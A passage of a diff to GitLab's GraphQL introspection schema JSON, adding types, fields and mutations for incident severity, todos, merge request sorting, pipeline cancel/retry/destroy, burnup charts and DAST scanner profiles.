"args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurementEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurement", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -18769,6 +21132,47 @@ }, { "kind": "ENUM", + "name": "IssuableSeverity", + "description": "Incident severity", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "UNKNOWN", + "description": "Unknown severity", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LOW", + "description": "Low severity", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MEDIUM", + "description": "Medium severity", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "HIGH", + "description": "High severity", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CRITICAL", + "description": "Critical severity", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "ENUM", "name": "IssuableState", "description": "State of a GitLab issue or merge request", "fields": null, @@ -18808,6 +21212,20 @@ "description": null, "fields": [ { + "name": "alertManagementAlert", + "description": "Alert associated to this issue", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "AlertManagementAlert", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "assignees", "description": "Assignees of the issue", "args": [ @@ -18947,6 +21365,73 @@ "deprecationReason": null }, { + "name": "currentUserTodos", + "description": "Todos for the current user", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "state", + "description": "State of the todos", + "type": { + "kind": "ENUM", + "name": "TodoStateEnum", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TodoConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "description", "description": "Description of the issue", "args": [ @@ -19406,6 +21891,20 @@ "deprecationReason": null }, { + "name": "severity", + "description": "Severity level of the incident", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "IssuableSeverity", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "state", "description": "State of the issue", "args": [ @@ -19684,6 +22183,11 @@ "kind": "INTERFACE", "name": "Noteable", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "CurrentUserTodos", + "ofType": null } ], "enumValues": null, @@ -19820,6 +22324,16 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "IssueID", + "description": "Identifier of Issue", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "IssueMoveListInput", "description": "Autogenerated input type of IssueMoveList", @@ -19889,7 +22403,7 @@ }, { "name": "moveBeforeId", - "description": "ID of issue before which the current issue will be positioned at", + "description": "ID of issue that should be placed before the current issue", "type": { "kind": "SCALAR", "name": "ID", @@ -19899,7 +22413,7 @@ }, { "name": "moveAfterId", - "description": "ID of issue after which the current issue will be positioned at", + "description": "ID of issue that should be placed after the current issue", "type": { "kind": "SCALAR", "name": "ID", @@ -19908,6 +22422,16 @@ "defaultValue": null }, { + "name": "epicId", + "description": "The ID of the parent epic. NULL when removing the association", + "type": { + "kind": "SCALAR", + "name": "EpicID", + "ofType": null + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -20938,6 +23462,136 @@ }, { "kind": "INPUT_OBJECT", + "name": "IssueSetSeverityInput", + "description": "Autogenerated input type of IssueSetSeverity", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project the issue to mutate is in", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "iid", + "description": "The IID of the issue to mutate", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "severity", + "description": "Set the incident severity level.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "IssuableSeverity", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IssueSetSeverityPayload", + "description": "Autogenerated return type of IssueSetSeverity", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "issue", + "description": "The issue after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Issue", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "IssueSetSubscriptionInput", "description": "Autogenerated input type of IssueSetSubscription", "fields": null, @@ -21335,7 +23989,7 @@ { "kind": "OBJECT", "name": "IssueStatusCountsType", - "description": "Represents total number of issues for the represented statuses.", + "description": "Represents total number of issues for the represented statuses", "fields": [ { "name": "all", @@ -21406,6 +24060,12 @@ "description": "Incident issue type", "isDeprecated": false, "deprecationReason": null + }, + { + "name": "TEST_CASE", + "description": "Test Case issue type", + "isDeprecated": false, + "deprecationReason": null } ], "possibleTypes": null @@ -21413,9 +24073,31 @@ { "kind": "OBJECT", "name": "Iteration", - "description": "Represents an iteration object.", + "description": "Represents an iteration object", "fields": [ { + "name": "burnupTimeSeries", + "description": "Daily scope and completed totals for burnup charts", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "BurnupChartDailyTotals", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createdAt", "description": "Timestamp of iteration creation", "args": [ @@ -21646,7 +24328,11 @@ ], "inputFields": null, "interfaces": [ - + { + "kind": "INTERFACE", + "name": "TimeboxBurnupTimeSeriesInterface", + "ofType": null + } ], "enumValues": null, "possibleTypes": null @@ -22659,7 +25345,7 @@ }, { "name": "jiraAccountId", - "description": "Account id of the Jira user", + "description": "Account ID of the Jira user", "args": [ ], @@ -23117,6 +25803,53 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "MeasurementIdentifier", + "description": "Possible identifier types for a measurement", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "PROJECTS", + "description": "Project count", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "USERS", + "description": "User count", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "ISSUES", + "description": "Issue count", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MERGE_REQUESTS", + "description": "Merge request count", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "GROUPS", + "description": "Group count", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "PIPELINES", + "description": "Pipeline count", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "INTERFACE", "name": "MemberInterface", "description": null, @@ -23178,6 +25911,24 @@ "deprecationReason": null }, { + "name": "id", + "description": "ID of the member", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updatedAt", "description": "Date and time the membership was last updated", "args": [ @@ -23190,6 +25941,24 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "user", + "description": "User that is associated with the member object", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "User", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -23210,6 +25979,118 @@ }, { "kind": "OBJECT", + "name": "MemberInterfaceConnection", + "description": "The connection type for MemberInterface.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "MemberInterfaceEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "INTERFACE", + "name": "MemberInterface", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "MemberInterfaceEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "INTERFACE", + "name": "MemberInterface", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "MergeRequest", "description": null, "fields": [ @@ -23228,6 +26109,52 @@ "deprecationReason": null }, { + "name": "approvalsLeft", + "description": "Number of approvals left", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "approvalsRequired", + "description": "Number of approvals required", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "approved", + "description": "Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "approvedBy", "description": "Users who approved the merge request", "args": [ @@ -23348,6 +26275,24 @@ "deprecationReason": null }, { + "name": "autoMergeEnabled", + "description": "Indicates if auto merge is enabled for the merge request", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "commitCount", "description": "Number of commits in the merge request", "args": [ @@ -23362,6 +26307,24 @@ "deprecationReason": null }, { + "name": "conflicts", + "description": "Indicates if the merge request has conflicts", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createdAt", "description": "Timestamp of when the merge request was created", "args": [ @@ -23380,6 +26343,73 @@ "deprecationReason": null }, { + "name": "currentUserTodos", + "description": "Todos for the current user", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "state", + "description": "State of the todos", + "type": { + "kind": "ENUM", + "name": "TodoStateEnum", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TodoConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "defaultMergeCommitMessage", "description": "Default merge commit message of the merge request", "args": [ @@ -24034,13 +27064,9 @@ } ], "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "PipelineConnection", - "ofType": null - } + "kind": "OBJECT", + "name": "PipelineConnection", + "ofType": null }, "isDeprecated": false, "deprecationReason": null @@ -24537,6 +27563,11 @@ "kind": "INTERFACE", "name": "Noteable", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "CurrentUserTodos", + "ofType": null } ], "enumValues": null, @@ -24868,6 +27899,24 @@ "deprecationReason": null }, { + "name": "canMerge", + "description": "Indicates the user can perform `can_merge` on this resource", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "cherryPickOnCurrentMergeRequest", "description": "Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource", "args": [ @@ -25815,6 +28864,89 @@ }, { "kind": "ENUM", + "name": "MergeRequestSort", + "description": "Values for sorting merge requests", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "updated_desc", + "description": "Updated at descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "updated_asc", + "description": "Updated at ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "created_desc", + "description": "Created at descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "created_asc", + "description": "Created at ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "PRIORITY_ASC", + "description": "Priority by ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "PRIORITY_DESC", + "description": "Priority by descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LABEL_PRIORITY_ASC", + "description": "Label priority by ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LABEL_PRIORITY_DESC", + "description": "Label priority by descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MILESTONE_DUE_ASC", + "description": "Milestone due date by ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MILESTONE_DUE_DESC", + "description": "Milestone due date by descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MERGED_AT_ASC", + "description": "Merge time by ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MERGED_AT_DESC", + "description": "Merge time by descending order", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "ENUM", "name": "MergeRequestState", "description": "State of a GitLab merge request", "fields": null, @@ -26377,9 +29509,31 @@ { "kind": "OBJECT", "name": "Milestone", - "description": "Represents a milestone.", + "description": "Represents a milestone", "fields": [ { + "name": "burnupTimeSeries", + "description": "Daily scope and completed totals for burnup charts", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "BurnupChartDailyTotals", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createdAt", "description": "Timestamp of milestone creation", "args": [ @@ -26600,7 +29754,11 @@ ], "inputFields": null, "interfaces": [ - + { + "kind": "INTERFACE", + "name": "TimeboxBurnupTimeSeriesInterface", + "ofType": null + } ], "enumValues": null, "possibleTypes": null @@ -27090,6 +30248,87 @@ "deprecationReason": null }, { + "name": "clusterAgentDelete", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ClusterAgentDeleteInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentDeletePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "clusterAgentTokenCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ClusterAgentTokenCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentTokenCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "clusterAgentTokenDelete", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ClusterAgentTokenDeleteInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentTokenDeletePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "commitCreate", "description": null, "args": [ @@ -27441,6 +30680,33 @@ "deprecationReason": null }, { + "name": "createTestCase", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "CreateTestCaseInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CreateTestCasePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "dastOnDemandScanCreate", "description": null, "args": [ @@ -27495,6 +30761,60 @@ "deprecationReason": null }, { + "name": "dastScannerProfileDelete", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastScannerProfileDeleteInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastScannerProfileDeletePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastScannerProfileUpdate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastScannerProfileUpdateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastScannerProfileUpdatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "dastSiteProfileCreate", "description": null, "args": [ @@ -27684,6 +31004,33 @@ "deprecationReason": null }, { + "name": "destroyBoard", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DestroyBoardInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DestroyBoardPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "destroyNote", "description": null, "args": [ @@ -28062,6 +31409,33 @@ "deprecationReason": null }, { + "name": "issueSetSeverity", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "IssueSetSeverityInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "IssueSetSeverityPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "issueSetSubscription", "description": null, "args": [ @@ -28440,6 +31814,87 @@ "deprecationReason": null }, { + "name": "pipelineCancel", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "PipelineCancelInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "PipelineCancelPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineDestroy", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "PipelineDestroyInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "PipelineDestroyPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineRetry", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "PipelineRetryInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "PipelineRetryPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "removeAwardEmoji", "description": null, "args": [ @@ -28517,8 +31972,8 @@ "name": "RunDASTScanPayload", "ofType": null }, - "isDeprecated": false, - "deprecationReason": null + "isDeprecated": true, + "deprecationReason": "Use DastOnDemandScanCreate. Deprecated in 13.4" }, { "name": "todoMarkDone", @@ -28951,6 +32406,33 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "vulnerabilityResolve", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "VulnerabilityResolveInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilityResolvePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -28963,7 +32445,7 @@ { "kind": "ENUM", "name": "MutationOperationMode", - "description": "Different toggles for changing mutator behavior.", + "description": "Different toggles for changing mutator behavior", "fields": null, "inputFields": null, "interfaces": null, @@ -29159,6 +32641,26 @@ "defaultValue": "false" }, { + "name": "search", + "description": "Search project with most similar names or paths", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": "null" + }, + { + "name": "sort", + "description": "Sort projects by this criteria", + "type": { + "kind": "ENUM", + "name": "NamespaceProjectSort", + "ofType": null + }, + "defaultValue": "null" + }, + { "name": "hasVulnerabilities", "description": "Returns only the projects which have vulnerabilities", "type": { @@ -29514,8 +33016,25 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "NamespaceProjectSort", + "description": "Values for sorting projects", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "SIMILARITY", + "description": "Most similar to the search query", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", - "name": "NegatedBoardEpicIssueInput", + "name": "NegatedBoardIssueInput", "description": null, "fields": null, "inputFields": [ @@ -29578,8 +33097,8 @@ "defaultValue": null }, { - "name": "epicId", - "description": "Filter by epic ID", + "name": "myReactionEmoji", + "description": "Filter by reaction emoji", "type": { "kind": "SCALAR", "name": "String", @@ -29588,11 +33107,11 @@ "defaultValue": null }, { - "name": "myReactionEmoji", - "description": "Filter by reaction emoji", + "name": "epicId", + "description": "Filter by epic ID. Incompatible with epicWildcardId", "type": { "kind": "SCALAR", - "name": "String", + "name": "ID", "ofType": null }, "defaultValue": null @@ -30796,6 +34315,12 @@ "description": "Packages from the composer package manager", "isDeprecated": false, "deprecationReason": null + }, + { + "name": "GENERIC", + "description": "Packages from the generic package manager", + "isDeprecated": false, + "deprecationReason": null } ], "possibleTypes": null @@ -30897,6 +34422,24 @@ "deprecationReason": null }, { + "name": "cancelable", + "description": "Specifies if a pipeline can be canceled", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "committedAt", "description": "Timestamp of the pipeline's commit", "args": [ @@ -31039,6 +34582,24 @@ "deprecationReason": null }, { + "name": "retryable", + "description": "Specifies if a pipeline can be retried", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "securityReportSummary", "description": "Vulnerability and scanned resource counts for each security scanner of the pipeline", "args": [ @@ -31214,6 +34775,94 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "PipelineCancelInput", + "description": "Autogenerated input type of PipelineCancel", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The id of the pipeline to mutate", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "CiPipelineID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "PipelineCancelPayload", + "description": "Autogenerated return type of PipelineCancel", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "PipelineConfigSourceEnum", "description": null, @@ -31358,6 +35007,94 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "PipelineDestroyInput", + "description": "Autogenerated input type of PipelineDestroy", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The id of the pipeline to mutate", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "CiPipelineID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "PipelineDestroyPayload", + "description": "Autogenerated return type of PipelineDestroy", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "PipelineEdge", "description": "An edge in a connection.", @@ -31470,6 +35207,108 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "PipelineRetryInput", + "description": "Autogenerated input type of PipelineRetry", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The id of the pipeline to mutate", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "CiPipelineID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "PipelineRetryPayload", + "description": "Autogenerated return type of PipelineRetry", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + 